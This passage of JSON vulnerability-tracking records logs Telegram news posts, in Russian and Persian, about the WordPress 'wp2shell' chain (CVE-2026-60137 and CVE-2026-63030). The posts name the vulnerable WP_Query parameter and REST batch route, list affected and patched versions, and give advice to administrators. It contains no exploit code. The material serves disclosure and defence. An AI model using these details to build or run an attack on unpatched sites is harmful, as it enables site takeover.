\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043d\u0438 \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u0435\u0440\u0442-\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432 \u043c\u0438\u0440\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0431\u044b \u0441 \u043d\u0443\u043b\u044f \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0437\u0430 \u0441\u0442\u043e\u043b\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u270b @Russian_OSINT", "url": "https://t.me/Russian_OSINT/7565"}, {"timestamp": "2026-09-02T17:00:05.991Z", "date_only": false, "value": "2026-09-02T17:00:05.991638Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/SecLabNews/17958", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6dbfd951-4d9f-40e9-849a-f0d31a772e75", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/SecLabNews/17958"}, {"timestamp": "2026-09-02T17:00:19.304Z", "date_only": false, "value": "2026-09-02T17:00:19.304878Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/MrVGunz/1405", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c66d3089-35de-409d-8de6-d9e7bfbf3f10", "content": "\ud83d\udea8 WordPress Core Under Attack: Active SQL Injection Exploited\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 \u0647\u0633\u062a\u0647 WordPress \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-63030 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\ud83d\udd0d \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0632 \u0646\u0648\u0639 SQL Injection \u0628\u0648\u062f\u0647 \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 REST API \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062e\u0631\u0628 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f\u060c \u0648\u0628\u200c\u0634\u0644 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0633\u0627\u06cc\u062a \u0631\u0627 \u0628\u0647 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.\n\u26a0\ufe0f \u067e\u06cc\u0627\u0645\u062f\u0647\u0627\u06cc \u0627\u062d\u062a\u0645\u0627\u0644\u06cc:\n\u2705 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0627\u0631\u0628\u0631 \u0627\u062f\u0645\u06cc\u0646 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632\n\u2705 \u0622\u067e\u0644\u0648\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u0648\u0628\u200c\u0634\u0644\n\u2705 \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u0628\u0647 \u0633\u0627\u06cc\u062a\n\u2705 \u0633\u0631\u0642\u062a \u06cc\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udee1 \u0646\u06a9\u062a\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\n\u0645\u062f\u06cc\u0631\u0627\u0646 WordPress \u0628\u0627\u06cc\u062f \u0641\u0648\u0631\u0627\u064b \u0648\u0636\u0639\u06cc\u062a REST API\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062c\u062f\u06cc\u062f\u060c \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0645\u0634\u06a9\u0648\u06a9 \u062f\u0631 \u0645\u0633\u06cc\u0631\u0647\u0627\u06cc cache \u0648 \u0644\u0627\u06af\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u0631 \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0627\u0645\u06a9\u0627\u0646\u060c \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0636\u0631\u0648\u0631\u06cc API \u0645\u062d\u062f\u0648\u062f \u0634\u0648\u062f.\n\ud83d\udd17 \u0645\u0637\u0627\u0644\u0639\u0647 \u062e\u0628\u0631:\nhttps://isc.sans.edu/diary/rss/33168\n\n#WordPress #SQLInjection #CVE #WebSecurity #CyberSecurity\n@MrVGunz", "url": "https://t.me/MrVGunz/1405"}, {"timestamp": "2026-09-02T18:00:06.572Z", "date_only": false, "value": "2026-09-02T18:00:06.572288Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/proxy_bar/3569", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc088e31-6664-4939-ac67-c9717cc3d13e", "content": "CVE-2026-63030  WordPress\n*\nwp2shell", "url": "https://t.me/proxy_bar/3569"}, {"timestamp": "2026-09-03T00:00:38.960Z", "date_only": false, "value": "2026-09-03T00:00:38.960648Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3b443f8a-9380-42ad-a2bc-e220dee6688d"}, {"timestamp": "2026-09-03T00:00:39.078Z", "date_only": false, "value": "2026-09-03T00:00:39.078330Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/3569", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "167a4e59-d7ae-44f7-b6b4-41e97eafed8c", "content": "CVE-2026-63030  WordPress\n*\nwp2shell", "url": "https://t.me/proxy_bar/3569"}, {"timestamp": "2026-09-03T00:00:41.021Z", "date_only": false, "value": "2026-09-03T00:00:41.021367Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MrVGunz/1405", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2337d0a9-bd62-4ab9-bf96-972e384a6bb4", "content": "\ud83d\udea8 WordPress Core Under Attack: Active SQL Injection Exploited\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 \u0647\u0633\u062a\u0647 WordPress \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-63030 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\ud83d\udd0d \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0632 \u0646\u0648\u0639 SQL Injection \u0628\u0648\u062f\u0647 \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 REST API \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062e\u0631\u0628 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f\u060c \u0648\u0628\u200c\u0634\u0644 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0633\u0627\u06cc\u062a \u0631\u0627 \u0628\u0647 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.\n\u26a0\ufe0f \u067e\u06cc\u0627\u0645\u062f\u0647\u0627\u06cc \u0627\u062d\u062a\u0645\u0627\u0644\u06cc:\n\u2705 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0627\u0631\u0628\u0631 \u0627\u062f\u0645\u06cc\u0646 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632\n\u2705 \u0622\u067e\u0644\u0648\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u0648\u0628\u200c\u0634\u0644\n\u2705 \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u0628\u0647 \u0633\u0627\u06cc\u062a\n\u2705 \u0633\u0631\u0642\u062a \u06cc\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udee1 \u0646\u06a9\u062a\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\n\u0645\u062f\u06cc\u0631\u0627\u0646 WordPress \u0628\u0627\u06cc\u062f \u0641\u0648\u0631\u0627\u064b \u0648\u0636\u0639\u06cc\u062a REST API\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062c\u062f\u06cc\u062f\u060c \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0645\u0634\u06a9\u0648\u06a9 \u062f\u0631 \u0645\u0633\u06cc\u0631\u0647\u0627\u06cc cache \u0648 \u0644\u0627\u06af\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u0631 \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0627\u0645\u06a9\u0627\u0646\u060c \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0636\u0631\u0648\u0631\u06cc API \u0645\u062d\u062f\u0648\u062f \u0634\u0648\u062f.\n\ud83d\udd17 \u0645\u0637\u0627\u0644\u0639\u0647 \u062e\u0628\u0631:\nhttps://isc.sans.edu/diary/rss/33168\n\n#WordPress #SQLInjection #CVE #WebSecurity #CyberSecurity\n@MrVGunz", "url": "https://t.me/MrVGunz/1405"}, {"timestamp": "2026-09-03T00:00:41.220Z", "date_only": false, "value": "2026-09-03T00:00:41.220255Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/SecLabNews/17958", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f9f74c79-16d8-484c-a1db-46ca2a5942c8", "content": "wp2shell. \u041e\u0434\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u044f\u0434\u0440\u0435 WordPress \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0430\u0439\u0442\u043e\u0432\n\n\u0412 \u044f\u0434\u0440\u0435 WordPress \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u043e\u0434\u043d\u0438\u043c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043d\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 wp2shell, \u043e\u043d\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 CVE-2026-60137 \u0438 CVE-2026-63030. \u041f\u043e\u043b\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 WordPress 6.9.0\u20136.9.4 \u0438 7.0.0\u20137.0.1. \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8.6, 6.9.5 \u0438 7.0.2.\n\n\u041a\u0440\u0430\u0441\u043e\u0442\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u043e\u0439. \u041f\u0435\u0440\u0432\u0430\u044f - SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 WP_Query \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 author__not_in. \u0412\u0442\u043e\u0440\u0430\u044f - \u0441\u0431\u043e\u0439 \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 REST API /wp-json/batch/v1, \u0433\u0434\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0434\u0440\u0443\u0433\u043e\u0433\u043e. \u0422\u0430\u043a \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0435\u0437\u0436\u0430\u0435\u0442 \u0434\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0438 \u0434\u0432\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u0442\u0447\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 Cloudflare \u0441 17 \u0438\u044e\u043b\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 CVE. \u041d\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0430\u0439\u0442\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e: \u0430\u0432\u0442\u043e\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e \u0440\u0430\u0437\u043d\u0438\u0446\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n#WordPress #wp2shell #RCE #CVE\n\n@ZerodayAlert", "url": "https://t.me/SecLabNews/17958"}, {"timestamp": "2026-09-03T00:00:45.927Z", "date_only": false, "value": "2026-09-03T00:00:45.927149Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Russian_OSINT/7565", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5880f331-ba06-4549-b0d5-7375d1650985", "content": "\u0421\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f \u0440\u0435\u043b\u0438\u0437 WordPress 7.0.2, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u043e\u0434\u043d\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 WordPress \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2026-60137), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 TF1T, dtro \u0438 haongo.\n\n\u0412\u0442\u043e\u0440\u0430\u044f, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f 